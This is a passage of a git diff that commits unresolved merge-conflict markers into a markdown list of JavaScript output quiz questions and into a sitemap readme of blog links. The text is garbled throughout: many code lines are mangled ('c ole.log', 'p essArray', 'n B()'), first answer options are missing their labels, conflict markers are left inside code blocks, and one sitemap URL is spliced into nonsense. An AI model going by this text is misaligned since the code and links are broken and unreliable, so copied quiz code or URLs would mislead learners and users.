+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6665,7 +11133,11 @@ The concatenation operator(+) is applicable for both number and string types. So
 
 #### 18. What is the output of below code
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 console.log([0] == false);
 if ([0]) {
     console.log("I'm True");
@@ -6693,12 +11165,21 @@ In comparison operators, the expression `[0]` converted to Number([0].valueOf().
 
 ```javascript
 c ole.log([1, 2] + [3, 4]);
+<<<<<<< HEAD
 ```
 
 -  [1,2,3,4]
 - 2: [1,2][3,4]
 - 3: SyntaxError
 - 4: 1,23,4
+=======
+````
+
+-   [1,2,3,4]
+-   2: [1,2][3,4]
+-   3: SyntaxError
+-   4: 1,23,4
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6722,10 +11203,17 @@ const browser = new Set('Firefox');
 c ole.log(browser);
 ```
 
+<<<<<<< HEAD
 -  {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
 - 2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
 - 3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
 - 4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+=======
+-   {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+-   2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
+-   3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
+-   4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6745,8 +11233,13 @@ Since `Set` object is a collection of unique values, it won't allow duplicate va
 c ole.log(NaN === NaN);
 ```
 
+<<<<<<< HEAD
 - 1: True
 - 2: False
+=======
+-   1: True
+-   2: False
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6767,10 +11260,17 @@ let numbers = [1, 2, 3, 4, NaN];
 c ole.log(numbers.indexOf(NaN));
 ```
 
+<<<<<<< HEAD
 -  4
 - 2: NaN
 - 3: SyntaxError
 - 4: -1
+=======
+-   4
+-   2: NaN
+-   3: SyntaxError
+-   4: -1
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6799,10 +11299,17 @@ let [a, ...b,] = [1, 2, 3, 4, 5];
 c ole.log(a, b);
 ```
 
+<<<<<<< HEAD
 -  1, [2, 3, 4, 5]
 - 2: 1, {2, 3, 4, 5}
 - 3: SyntaxError
 - 4: 1, [2, 3, 4]
+=======
+-   1, [2, 3, 4, 5]
+-   2: 1, {2, 3, 4, 5}
+-   3: SyntaxError
+-   4: 1, [2, 3, 4]
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6831,10 +11338,17 @@ async function func() {
 c ole.log(func());
 ```
 
+<<<<<<< HEAD
 -  Promise {\<fulfilled\>: 10}
 - 2: 10
 - 3: SyntaxError
 - 4: Promise {\<rejected\>: 10}
+=======
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<rejected\>: 10}
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6863,10 +11377,17 @@ async function func() {
 c ole.log(func());
 ```
 
+<<<<<<< HEAD
 -  Promise {\<fulfilled\>: 10}
 - 2: 10
 - 3: SyntaxError
 - 4: Promise {\<resolved\>: undefined}
+=======
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<resolved\>: undefined}
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6907,10 +11428,17 @@ async function processArray(array) {
 p essArray([1, 2, 3, 4]);
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: 1, 2, 3, 4
 - 3: 4, 4, 4, 4
 - 4: 4, 3, 2, 1
+=======
+-   SyntaxError
+-   2: 1, 2, 3, 4
+-   3: 4, 4, 4, 4
+-   4: 4, 3, 2, 1
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6946,10 +11474,17 @@ async function process(array) {
 p ess([1, 2, 3, 5]);
 ```
 
+<<<<<<< HEAD
 -  1 2 3 5 and Process completed!
 - 2: 5 5 5 5 and Process completed!
 - 3: Process completed! and 5 5 5 5
 - 4: Process completed! and 1 2 3 5
+=======
+-   1 2 3 5 and Process completed!
+-   2: 5 5 5 5 and Process completed!
+-   3: Process completed! and 5 5 5 5
+-   4: Process completed! and 1 2 3 5
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6982,10 +11517,17 @@ set.add('+0').add('-0').add(NaN).add(undefined).add(NaN);
 c ole.log(set);
 ```
 
+<<<<<<< HEAD
 -  Set(4) {"+0", "-0", NaN, undefined}
 - 2: Set(3) {"+0", NaN, undefined}
 - 3: Set(5) {"+0", "-0", NaN, undefined, NaN}
 - 4: Set(4) {"+0", NaN, undefined, NaN}
+=======
+-   Set(4) {"+0", "-0", NaN, undefined}
+-   2: Set(3) {"+0", NaN, undefined}
+-   3: Set(5) {"+0", "-0", NaN, undefined, NaN}
+-   4: Set(4) {"+0", NaN, undefined, NaN}
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7014,10 +11556,17 @@ const sym4 = Symbol.for('two');
 c oe.log(sym1 === sym2, sym3 === sym4);
 ```
 
+<<<<<<< HEAD
 -  true, true
 - 2: true, false
 - 3: false, true
 - 4: false, false
+=======
+-   true, true
+-   2: true, false
+-   3: false, true
+-   4: false, false
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7044,10 +11593,17 @@ const sym1 = new Symbol('one');
 c ole.log(sym1);
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: one
 - 3: Symbol('one')
 - 4: Symbol
+=======
+-   SyntaxError
+-   2: one
+-   3: Symbol('one')
+-   4: Symbol
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7064,7 +11620,11 @@ c ole.log(sym1);
 
 #### 32. What is the output of below code
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 let myNumber = 100;
 let myString = '100';
 
@@ -7104,12 +11664,21 @@ The return value of `typeof myNumber (OR) typeof myString` is always the truthy
 ```javascript
 console.log(JSON.stringify({ myArray: ['one', undefined, function () {}, Symbol('')] }));
 c ole.log(JSON.stringify({ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]));
+<<<<<<< HEAD
 ```
 
 -  {"myArray":['one', undefined, {}, Symbol]}, {}
 - 2: {"myArray":['one', null,null,null]}, {}
 - 3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
 - 4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
+=======
+````
+
+-   {"myArray":['one', undefined, {}, Symbol]}, {}
+-   2: {"myArray":['one', null,null,null]}, {}
+-   3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
+-   4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7146,8 +11715,13 @@ new A();
 n B();
 ```
 
+<<<<<<< HEAD
 - 1: A, A
 - 2: A, B
+=======
+-   1: A, A
+-   2: A, B
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7169,10 +11743,17 @@ const [x, ...y,] = [1, 2, 3, 4];
 c ole.log(x, y);
 ```
 
+<<<<<<< HEAD
 -  1, [2, 3, 4]
 - 2: 1, [2, 3]
 - 3: 1, [2]
 - 4: SyntaxError
+=======
+-   1, [2, 3, 4]
+-   2: 1, [2, 3]
+-   3: 1, [2]
+-   4: SyntaxError
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7196,10 +11777,17 @@ console.log(x);
 c ole.log(y);
 ```
 
+<<<<<<< HEAD
 -  30, 20
 - 2: 10, 20
 - 3: 10, undefined
 - 4: 30, undefined
+=======
+-   30, 20
+-   2: 10, 20
+-   3: 10, undefined
+-   4: 30, undefined
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7224,6 +11812,7 @@ function area({ length = 10, width = 20 }) {
     console.log(length * width);
 }
 
+<<<<<<< HEAD
 a ();
 ```
 
@@ -7231,6 +11820,15 @@ a ();
 - 2: Error
 - 3: undefined
 - 4: 0
+=======
+a();
+```
+
+-   200
+-   2: Error
+-   3: undefined
+-   4: 0
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7280,10 +11878,17 @@ const [, , { name }] = props;
 c ole.log(name);
 ```
 
+<<<<<<< HEAD
 -  Tom
 - 2: Error
 - 3: undefined
 - 4: John
+=======
+-   Tom
+-   2: Error
+-   3: undefined
+-   4: John
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7311,10 +11916,17 @@ checkType('');
 c kType(null);
 ```
 
+<<<<<<< HEAD
 -  number, undefined, string, object
 - 2: undefined, undefined, string, object
 - 3: number, number, string, object
 - 4: number, number, number, number
+=======
+-   number, undefined, string, object
+-   2: undefined, undefined, string, object
+-   3: number, number, string, object
+-   4: number, number, number, number
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7346,8 +11958,13 @@ console.log(add('Orange'));
 c ole.log(add('Apple'));
 ```
 
+<<<<<<< HEAD
 - 1: ['Orange'], ['Orange', 'Apple']
 - 2: ['Orange'], ['Apple']
+=======
+-   1: ['Orange'], ['Orange', 'Apple']
+-   2: ['Orange'], ['Apple']
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7373,8 +11990,13 @@ greet('Hello', 'John');
 g t('Hello', 'John', 'Good morning!');
 ```
 
+<<<<<<< HEAD
 - 1: SyntaxError
 - 2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
+=======
+-   1: SyntaxError
+-   2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7400,8 +12022,13 @@ function outer(f = inner()) {
 o r();
 ```
 
+<<<<<<< HEAD
 - 1: ReferenceError
 - 2: Inner
+=======
+-   1: ReferenceError
+-   2: Inner
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7427,10 +12054,17 @@ myFun(1, 2, 3, 4, 5);
 m n(1, 2);
 ```
 
+<<<<<<< HEAD
 -  [3, 4, 5], undefined
 - 2: SyntaxError
 - 3: [3, 4, 5], []
 - 4: [3, 4, 5], [undefined]
+=======
+-   [3, 4, 5], undefined
+-   2: SyntaxError
+-   3: [3, 4, 5], []
+-   4: [3, 4, 5], [undefined]
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7453,10 +12087,17 @@ const array = [...obj];
 c ole.log(array);
 ```
 
+<<<<<<< HEAD
 -  ['key', 'value']
 - 2: TypeError
 - 3: []
 - 4: ['key']
+=======
+-   ['key', 'value']
+-   2: TypeError
+-   3: []
+-   4: ['key']
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7483,10 +12124,17 @@ var myGenObj = new myGenFunc();
 c ole.log(myGenObj.next().value);
 ```
 
+<<<<<<< HEAD
 -  1
 - 2: undefined
 - 3: SyntaxError
 - 4: TypeError
+=======
+-   1
+-   2: undefined
+-   3: SyntaxError
+-   4: TypeError
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7516,10 +12164,17 @@ console.log(myGenObj.next());
 c ole.log(myGenObj.next());
 ```
 
+<<<<<<< HEAD
 -  { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
 - 2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
 - 3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
 - 4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
+=======
+-   { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
+-   2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
+-   3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
+-   4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7536,7 +12191,11 @@ A return statement in a generator function will make the generator finish. If a
 
 #### 47. What is the output of below code
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 const myGenerator = (function* () {
     yield 1;
     yield 2;
@@ -7575,10 +12234,17 @@ The generator should not be re-used once the iterator is closed. i.e, Upon exiti
 ```javascript
 const num = 0o38;
 c ole.log(num);
+<<<<<<< HEAD
 ```
 
 - 1: SyntaxError
 - 2: 38
+=======
+````
+
+-   1: SyntaxError
+-   2: 38
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7595,7 +12261,11 @@ If you use an invalid number(outside of 0-7 range) in the octal literal, JavaScr
 
 #### 49. What is the output of below code
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 const squareObj = new Square(10);
 console.log(squareObj.area);
 
@@ -7651,12 +12321,21 @@ console.log(walk());
 
 let run = Person.run;
 c ole.log(run());
+<<<<<<< HEAD
 ```
 
 -  undefined, undefined
 - 2: Person, Person
 - 3: SyntaxError
 - 4: Window, Window
+=======
+````
+
+-   undefined, undefined
+-   2: Person, Person
+-   3: SyntaxError
+-   4: Window, Window
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7695,10 +12374,17 @@ const car = new Car('BMW');
 c ole.log(car.start());
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: BMW vehicle started, BMW car started
 - 3: BMW car started, BMW vehicle started
 - 4: BMW car started, BMW car started
+=======
+-   SyntaxError
+-   2: BMW vehicle started, BMW car started
+-   3: BMW car started, BMW vehicle started
+-   4: BMW car started, BMW car started
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7721,10 +12407,17 @@ USER.age = 25;
 c ole.log(USER.age);
 ```
 
+<<<<<<< HEAD
 -  30
 - 2: 25
 - 3: Uncaught TypeError
 - 4: SyntaxError
+=======
+-   30
+-   2: 25
+-   3: Uncaught TypeError
+-   4: SyntaxError
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7745,8 +12438,13 @@ Even though we used constant variables, the content of it is an object and the o
 c ole.log('🙂' === '🙂');
 ```
 
+<<<<<<< HEAD
 - 1: false
 - 2: true
+=======
+-   1: false
+-   2: true
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7767,10 +12465,17 @@ Emojis are unicodes and the unicode for smile symbol is "U+1F642". The unicode c
 c ole.log(typeof typeof typeof true);
 ```
 
+<<<<<<< HEAD
 -  string
 - 2: boolean
 - 3: NaN
 - 4: number
+=======
+-   string
+-   2: boolean
+-   3: NaN
+-   4: number
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7787,7 +12492,11 @@ The typeof operator on any primitive returns a string value. So even if you appl
 
 #### 55. What is the output of below code?
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 let zero = new Number(0);
 
 if (zero) {
@@ -7826,12 +12535,21 @@ let msg = 'Good morning!!';
 msg.name = 'John';
 
 c ole.log(msg.name);
+<<<<<<< HEAD
 ```
 
 -  ""
 - 2: Error
 - 3: John
 - 4: Undefined
+=======
+````
+
+-   ""
+-   2: Error
+-   3: John
+-   4: Undefined
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -7860,10 +12578,17 @@ let count = 10;
 } ;
 ```
 
+<<<<<<< HEAD
 -  11, 10
 - 2: 11, 11
 - 3: 10, 11
 - 4: 10, 10
+=======
+-   11, 10
+-   2: 11, 11
+-   3: 10, 11
+-   4: 10, 10
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
diff --git a/src/pages/readme.md b/src/pages/readme.md
index 8f0aca8f60..55b85923f6 100644
--- a/src/pages/readme.md
+++ b/src/pages/readme.md
@@ -433,6 +433,7 @@ This page contains links that give the impression that some of the site contents
 
 # Sitemap
 
+<<<<<<< HEAD
 - [/job-hunt/](https://bgoonz-blog.netlify.app/job-hunt/)
 
 - [/notes-template/](https://bgoonz-blog.netlify.app/notes-template/)
@@ -572,11 +573,153 @@ This page contains links that give the impression that some of the site contents
 - [/docs/medium/medium-links/](https://bgoonz-blog.netlify.app/docs/medium/medium-links/)
 
 - [/docs/medium/](https://bgoonz-blog.netlify.app/docs/medium/)
+=======
+-   [/job-hunt/](https://bgoonz-blog.netlify.app/job-hunt/)
+
+-   [/notes-template/](https://bgoonz-blog.netlify.app/notes-template/)
+
+-   [/](https://bgoonz-blog.netlify.app/)
+
+-   [/showcase/](https://bgoonz-blog.netlify.app/showcase/)
+
+-   [/blog/](https://bgoonz-blog.netlify.app/blog/)
+
+-   [/review/](https://bgoonz-blog.netlify.app/review/)
+
+-   [/blog/blog-archive/](https://bgoonz-blog.netlify.app/blog/blog-archive/)
+
+-   [/blog/my-medium/](https://bgoonz-blog.netlify.app/blog/my-medium/)
+
+-   [/blog/blogwcomments/](https://bgoonz-blog.netlify.app/blog/blogwcomments/)
+
+-   [/blog/data-structures/](https://bgoonz-blog.netlify.app/blog/data-structures/)
+
+-   [/docs/gallery/](https://bgoonz-blog.netlify.app/docs/gallery/)
+
+-   [/blog/python-for-js-dev/](https://bgoonz-blog.netlify.app/blog/python-for-js-dev/)
+
+-   [/blog/platform-docs/](https://bgoonz-blog.netlify.app/blog/platform-docs/)
+
+-   [/docs/sitemap/](https://bgoonz-blog.netlify.app/docs/sitemap/)
+
+-   [/docs/about/me/](https://bgoonz-blog.netlify.app/docs/about/me/)
+
+-   [/blog/python-resources/](https://bgoonz-blog.netlify.app/blog/python-resources/)
+
+-   [/docs/about/resume/](https://bgoonz-blog.netlify.app/docs/about/resume/)
+
+-   [/docs/](https://preview--bgoonz-b2d7c.stackbit.https://bgoonz-blog.netlify.app/log/web-scraping/)
+
+-   [/docs/about/](https://bgoonz-blog.netlify.app/docs/about/)
+
+-   [/docs/articles/algo/](https://bgoonz-blog.netlify.app/docs/articles/algo/)
+
+-   [/docs/articles/install/](https://bgoonz-blog.netlify.app/docs/articles/install/)
+
+-   [/docs/articles/](https://bgoonz-blog.netlify.app/docs/articles/)
+
+-   [/docs/articles/gallery/](https://bgoonz-blog.netlify.app/docs/articles/gallery/)
+
+-   [/docs/articles/intro/](https://bgoonz-blog.netlify.app/docs/articles/intro/)
+
+-   [/docs/articles/basic-web-dev/](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev/)
+
+-   [/docs/articles/reading-files/](https://bgoonz-blog.netlify.app/docs/articles/reading-files/)
+
+-   [/docs/articles/writing-files/](https://bgoonz-blog.netlify.app/docs/articles/writing-files/)
+
+-   [/docs/audio/audio/](https://bgoonz-blog.netlify.app/docs/audio/audio/)
+
+-   [/docs/content/projects/](https://bgoonz-blog.netlify.app/docs/content/projects/)
+
+-   [/docs/audio/terms/](https://bgoonz-blog.netlify.app/docs/audio/terms/)
+
+-   [/docs/faq/](https://bgoonz-blog.netlify.app/docs/faq/)
+
+-   [/docs/community/](https://bgoonz-blog.netlify.app/docs/community/)
+
+-   [/docs/articles/resources/](https://bgoonz-blog.netlify.app/docs/articles/resources/)
+
+-   [/docs/content/](https://bgoonz-blog.netlify.app/docs/content/)
+
+-   [/docs/docs/git-repos/](https://bgoonz-blog.netlify.app/docs/docs/git-repos/)
+
+-   [/docs/content/trouble-shooting/](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting/)
+
+-   [/docs/articles/python/](https://bgoonz-blog.netlify.app/docs/articles/python/)
+
+-   [/docs/interact/clock/](https://bgoonz-blog.netlify.app/docs/interact/clock/)
+
+-   [/docs/docs/python/](https://bgoonz-blog.netlify.app/docs/docs/python/)
+
+-   [/docs/interact/jupyter-notebooks/](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks/)
+
+-   [/docs/interact/](https://bgoonz-blog.netlify.app/docs/interact/)
+
+-   [/docs/faq/contact/](https://bgoonz-blog.netlify.app/docs/faq/contact/)
+
+-   [/docs/quick-reference/docs/](https://bgoonz-blog.netlify.app/docs/quick-reference/docs/)
+
+-   [/docs/interact/other-sites/](https://bgoonz-blog.netlify.app/docs/interact/other-sites/)
+
+-   [/docs/quick-reference/new-repo-instructions/](https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions/)
+
+-   [/docs/quick-reference/Emmet/](https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet/)
+
+-   [/docs/quick-reference/installation/](https://bgoonz-blog.netlify.app/docs/quick-reference/installation/)
+
+-   [/docs/quick-reference/vscode-themes/](https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes/)
+
+-   [/docs/react/createReactApp/](https://bgoonz-blog.netlify.app/docs/react/createReactApp/)
+
+-   [/docs/react/react2/](https://bgoonz-blog.netlify.app/docs/react/react2/)
+
+-   [/docs/quick-reference/](https://bgoonz-blog.netlify.app/docs/quick-reference/)
+
+-   [/docs/react/](https://bgoonz-blog.netlify.app/docs/react/)
+
+-   [/docs/tools/](https://bgoonz-blog.netlify.app/docs/tools/)
+
+-   [/docs/tools/notes-template/](https://bgoonz-blog.netlify.app/docs/tools/notes-template/)
+
+-   [/docs/tools/more-tools/](https://bgoonz-blog.netlify.app/docs/tools/more-tools/)
+
+-   [/docs/tools/plug-ins/](https://bgoonz-blog.netlify.app/docs/tools/plug-ins/)
+
+-   [/docs/articles/node/install/](https://bgoonz-blog.netlify.app/docs/articles/node/install/)
+
+-   [/docs/tools/vscode/](https://bgoonz-blog.netlify.app/docs/tools/vscode/)
+
+-   [/docs/articles/node/intro/](https://bgoonz-blog.netlify.app/docs/articles/node/intro/)
+
+-   [/docs/articles/node/nodejs/](https://bgoonz-blog.netlify.app/docs/articles/node/nodejs/)
+
+-   [/docs/articles/node/nodevsbrowser/](https://bgoonz-blog.netlify.app/docs/articles/node/nodevsbrowser/)
+
+-   [/docs/articles/node/npm/](https://bgoonz-blog.netlify.app/docs/articles/node/npm/)
+
+-   [/docs/articles/node/reading-files/](https://bgoonz-blog.netlify.app/docs/articles/node/reading-files/)
+
+-   [/docs/articles/node/writing-files/](https://bgoonz-blog.netlify.app/docs/articles/node/writing-files/)
+
+-   [/docs/react-in-depth/](https://bgoonz-blog.netlify.app/docs/react-in-depth/)
+
+-   [/docs/articles/article-compilation/](https://bgoonz-blog.netlify.app/docs/articles/article-compilation/)
+
+-   [/docs/medium/my-websites/](https://bgoonz-blog.netlify.app/docs/medium/my-websites/)
+
+-   [/docs/medium/social/](https://bgoonz-blog.netlify.app/docs/medium/social/)
+
+-   [/docs/medium/medium-links/](https://bgoonz-blog.netlify.app/docs/medium/medium-links/)
+
+-   [/docs/medium/](https://bgoonz-blog.netlify.app/docs/medium/)
+>>>>>>> master
 
 # Sitemap
 
 ---
 
+<<<<<<< HEAD
 - [/blog/big-o-complexity/](https://bgoonz-blog.netlify.app/blog/big-o-complexity/)
 
 - [/showcase/](https://bgoonz-blog.netlify.app/showcase/)
@@ -776,6 +919,207 @@ This page contains links that give the impression that some of the site contents
 - [/docs/tools/markdown-html/](https://bgoonz-blog.netlify.app/docs/tools/markdown-html/)
 
 - [/docs/quick-reference/psql/](https://bgoonz-blog.netlify.app/docs/quick-reference/psql/)
+=======
+-   [/blog/big-o-complexity/](https://bgoonz-blog.netlify.app/blog/big-o-complexity/)
+
+-   [/showcase/](https://bgoonz-blog.netlify.app/showcase/)
+
+-   [/blog/blog-archive/](https://bgoonz-blog.netlify.app/blog/blog-archive/)
+
+-   [/blog/](https://bgoonz-blog.netlify.app/blog/)
+
+-   [/review/](https://bgoonz-blog.netlify.app/review/)
+
+-   [/blog/data-structures/](https://bgoonz-blog.netlify.app/blog/data-structures/)
+
+-   [/blog/blogwcomments/](https://bgoonz-blog.netlify.app/blog/blogwcomments/)
+
+-   [/blog/platform-docs/](https://bgoonz-blog.netlify.app/blog/platform-docs/)
+
+-   [/blog/python-resources/](https://bgoonz-blog.netlify.app/blog/python-resources/)
+
+-   [/blog/python-for-js-dev/](https://bgoonz-blog.netlify.app/blog/python-for-js-dev/)
+
+-   [/docs/gallery/](https://bgoonz-blog.netlify.app/docs/gallery/)
+
+-   [/blog/my-medium/](https://bgoonz-blog.netlify.app/blog/my-medium/)
+
+-   [/docs/search/](https://bgoonz-blog.netlify.app/docs/search/)
+
+-   [/docs/about/eng-portfolio/](https://bgoonz-blog.netlify.app/docs/about/eng-portfolio/)
+
+-   [/docs/about/intrests/](https://bgoonz-blog.netlify.app/docs/about/intrests/)
+
+-   [/docs/sitemap/](https://bgoonz-blog.netlify.app/docs/sitemap/)
+
+-   [/docs/about/resume/](https://bgoonz-blog.netlify.app/docs/about/resume/)
+
+-   [/blog/web-scraping/](https://bgoonz-blog.netlify.app/blog/web-scraping/)
+
+-   [/docs/about/job-search/](https://bgoonz-blog.netlify.app/docs/about/job-search/)
+
+-   [/docs/](https://bgoonz-blog.netlify.app/docs/)
+
+-   [/docs/articles/buffers/](https://bgoonz-blog.netlify.app/docs/articles/buffers/)
+
+-   [/docs/about/](https://bgoonz-blog.netlify.app/docs/about/)
+
+-   [/docs/articles/event-loop/](https://bgoonz-blog.netlify.app/docs/articles/event-loop/)
+
+-   [/docs/articles/dev-dep/](https://bgoonz-blog.netlify.app/docs/articles/dev-dep/)
+
+-   [/docs/articles/](https://bgoonz-blog.netlify.app/docs/articles/)
+
+-   [/docs/articles/install/](https://bgoonz-blog.netlify.app/docs/articles/install/)
+
+-   [/docs/articles/fs-module/](https://bgoonz-blog.netlify.app/docs/articles/fs-module/)
+
+-   [/docs/articles/node-cli-args/](https://bgoonz-blog.netlify.app/docs/articles/node-cli-args/)
+
+-   [/docs/articles/module-exports/](https://bgoonz-blog.netlify.app/docs/articles/module-exports/)
+
+-   [/docs/articles/node-env-variables/](https://bgoonz-blog.netlify.app/docs/articles/node-env-variables/)
+
+-   [/docs/articles/intro/](https://bgoonz-blog.netlify.app/docs/articles/intro/)
+
+-   [/docs/articles/node-js-language/](https://bgoonz-blog.netlify.app/docs/articles/node-js-language/)
+
+-   [/docs/articles/basic-web-dev/](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev/)
+
+-   [/docs/articles/node-repl/](https://bgoonz-blog.netlify.app/docs/articles/node-repl/)
+
+-   [/docs/articles/node-package-manager/](https://bgoonz-blog.netlify.app/docs/articles/node-package-manager/)
+
+-   [/docs/articles/node-run-cli/](https://bgoonz-blog.netlify.app/docs/articles/node-run-cli/)
+
+-   [/docs/articles/npx/](https://bgoonz-blog.netlify.app/docs/articles/npx/)
+
+-   [/docs/articles/v8/](https://bgoonz-blog.netlify.app/docs/articles/v8/)
+
+-   [/docs/articles/nodevsbrowser/](https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser/)
+
+-   [/docs/articles/reading-files/](https://bgoonz-blog.netlify.app/docs/articles/reading-files/)
+
+-   [/docs/articles/nodejs/](https://bgoonz-blog.netlify.app/docs/articles/nodejs/)
+
+-   [/docs/articles/npm/](https://bgoonz-blog.netlify.app/docs/articles/npm/)
+
+-   [/docs/articles/semantic/](https://bgoonz-blog.netlify.app/docs/articles/semantic/)
+
+-   [/docs/articles/writing-files/](https://bgoonz-blog.netlify.app/docs/articles/writing-files/)
+
+-   [/docs/audio/dynamic-time-warping/](https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping/)
+
+-   [/docs/audio/](https://bgoonz-blog.netlify.app/docs/audio/)
+
+-   [/docs/audio/terms/](https://bgoonz-blog.netlify.app/docs/audio/terms/)
+
+-   [/docs/articles/os-module/](https://bgoonz-blog.netlify.app/docs/articles/os-module/)
+
+-   [/docs/community/](https://bgoonz-blog.netlify.app/docs/community/)
+
+-   [/docs/community/video-chat/](https://bgoonz-blog.netlify.app/docs/community/video-chat/)
+
+-   [/docs/content/archive/](https://bgoonz-blog.netlify.app/docs/content/archive/)
+
+-   [/docs/content/data-structures-algo/](https://bgoonz-blog.netlify.app/docs/content/data-structures-algo/)
+
+-   [/docs/content/](https://bgoonz-blog.netlify.app/docs/content/)
+
+-   [/docs/content/notes-template/](https://bgoonz-blog.netlify.app/docs/content/notes-template/)
+
+-   [/docs/content/gatsby-Queries-Mutations/](https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations/)
+
+-   [/docs/content/projects/](https://bgoonz-blog.netlify.app/docs/content/projects/)
+
+-   [/docs/content/trouble-shooting/](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting/)
+
+-   [/docs/audio/dfft/](https://bgoonz-blog.netlify.app/docs/audio/dfft/)
+
+-   [/docs/content/algo/](https://bgoonz-blog.netlify.app/docs/content/algo/)
+
+-   [/docs/docs/await-keyword/](https://bgoonz-blog.netlify.app/docs/docs/await-keyword/)
+
+-   [/docs/docs/appendix/](https://bgoonz-blog.netlify.app/docs/docs/appendix/)
+
+-   [/docs/docs/algolia/](https://bgoonz-blog.netlify.app/docs/docs/algolia/)
+
+-   [/docs/docs/data-structures-docs/](https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs/)
+
+-   [/docs/docs/](https://bgoonz-blog.netlify.app/docs/docs/)
+
+-   [/docs/docs/git-repos/](https://bgoonz-blog.netlify.app/docs/docs/git-repos/)
+
